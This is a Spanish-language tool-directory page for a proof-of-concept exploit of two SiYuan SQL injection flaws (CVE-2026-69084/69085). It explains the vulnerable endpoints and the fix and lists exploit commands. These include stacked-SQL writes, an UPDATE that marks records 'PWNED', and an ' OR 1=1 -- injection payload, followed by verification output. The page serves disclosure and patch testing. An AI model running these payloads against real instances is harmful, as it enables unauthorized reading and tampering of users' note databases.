Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-69084-PoC — CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3. | Kitploit
Herramientas/GitHubGitHub/boreas37/cve-2026-69084-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubboreas37/cve-2026-69084-poc

CVE-2026-69084-PoC

CVE-2026-69084/69085 — SiYuan ejecución arbitraria de SQL mediante searchEmbedBlock + searchDocs SQLi (CVSS 9.9). Verificado en v3.7.2, rechazado en v3.7.3.

Ver Repositorio
12hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-69084 / CVE-2026-69085 — Ejecución Arbitraria de SQL e Inyección SQL en SiYuan

CVE-2026-69084: Ejecución Arbitraria de SQL vía /api/search/searchEmbedBlock CVE-2026-69085: Inyección SQL vía /api/filetree/searchDocs CVSS 9.9 (Crítico) cada uno · CWE-89 · SiYuan <= v3.7.2 (corregido en v3.7.3) Publicado 2026-08-03 · sin PoC público en el momento de la publicación

TL;DR

SiYuan (aplicación de notas de código abierto, github.com/siyuan-note/siyuan) expone dos endpoints de API que entregan SQL controlado por el atacante a su base de datos SQLite:

CVE-2026-69084 — /api/search/searchEmbedBlock: El parámetro stmt se pasa textualmente al manejador principal de lectura-escritura siyuan.db sin restricción de una sola sentencia o de solo lectura. El controlador SQLite ejecuta sentencias apiladas (separadas por punto y coma), por lo que un atacante puede / / / / cualquier cosa en la base de datos. Protegido únicamente por — accesible con un token RoleReader de publicación, o de forma anónima cuando el modo de publicación tiene .

CREATE
INSERT
UPDATE
DELETE
DROP
CheckAuth
Publish.Auth.Enable=false

CVE-2026-69085 — /api/filetree/searchDocs: El parámetro keyword se concatena directamente en el SQL sin escape ni vinculación de parámetros.

Ambos fueron corregidos en v3.7.3 mediante sql.CheckSingleStatement() + sql.CheckReadonlyStatementInBox().

Exploit

root@kitploit:~
# 1. Sonda no destructiva (sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check

# 2. Prueba de escritura en BD: CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof

# 3. Ejecutar SQL arbitrario (se admiten sentencias apiladas)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"

# 4. SQLi en searchDocs (69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"

Si la instancia se ejecuta con el modo de publicación habilitado y la autenticación deshabilitada (Publish.Auth.Enable=false), no se necesita --auth en absoluto.

Verificación (SiYuan real v3.7.2 en Docker)

root@kitploit:~
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL aceptado (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL aceptado (blocks: 0)
[+] PRUEBA DE ESCRITURA EN BD COMPLETADA — tabla pwn_69084 + fila 31337 en siyuan.db

# En el host:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337

v3.7.3 parcheada rechaza las mismas solicitudes:

  • SELECT 1; CREATE TABLE x → "SQL statement is not single"
  • UPDATE blocks ... → "SQL statement is not a read-only query"
  • un único SELECT sigue funcionando (funcionalidad legítima preservada)

Internals del PoC

El PoC en Python realiza un inicio de sesión de sesión (/api/system/loginAuth) para obtener la cookie de autenticación, y luego envía POST al endpoint vulnerable. Probado contra b3log/siyuan:v3.7.2 (vulnerable) y b3log/siyuan:v3.7.3 (parcheada).

Remediación

  • Actualice SiYuan a v3.7.3 o posterior.
  • Si expone el modo de publicación de SiYuan, mantenga Publish.Auth.Enable=true y use tokens RoleReader seguros.

Referencias

  • GHSA-p2x7-4c4p-8wh6 (69084)
  • GHSA-5w4j-hchp-r332 (69085)
  • NVD — CVE-2026-69084
  • NVD — CVE-2026-69085
  • Aviso de VulnCheck

Aviso legal

Solo para pruebas de seguridad autorizadas y fines educativos.

Descargar herramienta